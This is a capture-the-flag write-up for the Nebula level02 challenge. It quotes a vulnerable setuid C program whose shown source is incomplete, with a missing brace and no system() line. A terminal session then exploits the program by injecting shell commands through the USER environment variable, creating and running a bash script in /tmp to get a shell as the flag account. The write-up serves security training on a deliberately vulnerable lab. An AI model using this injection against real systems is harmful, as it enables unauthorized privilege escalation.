In this challenge, we’re again provided with the source code to the vulnerable program. Only this time, they’re not loading the “echo” program from the environment’s path.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
 char *buffer;

 gid_t gid;
 uid_t uid;

 gid = getegid();
 uid = geteuid();

 setresgid(gid, gid, gid);
 setresuid(uid, uid, uid);

 buffer = NULL;

 asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
 printf("about to call system(\"%s\")\n", buffer);


What I did initially notice here, is that the “USER” variable is being called directly from the environment. This makes it very similar to the previous challenge. I luckily got this one on my first try.

level02@nebula:/home/flag02$ USER='-e "#!/bin/bash\n/bin/bash" > /tmp/level02; chmod +x /tmp/level02; /tmp/level02'
level02@nebula:/home/flag02$ export USER
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo -e "#!/bin/bash\n/bin/bash" > /tmp/level02; chmod +x /tmp/level02; /tmp/level02 is cool")
flag02@nebula:/home/flag02$ getflag
You have successfully executed getflag on a target account

What we’re doing here, is injecting code into the echo command. This, like the last challenge, makes a bash script at /tmp/level02 which will ignore any other parameters. It then marks it executable so we can actually execute it. Then it executes the bash script.

Often times in situations like this, the bash script wouldn’t be needed, but since the “ is cool” is following the execution, it needs to handle that. A bash script lets it get ignored, where passing it as a parameter to /bin/bash would try to execute it.

I’m guessing there may be an easier way than creating the bash script. Maybe a way to comment out the rest of the line? I’m not sure, but I know this method worked great for me.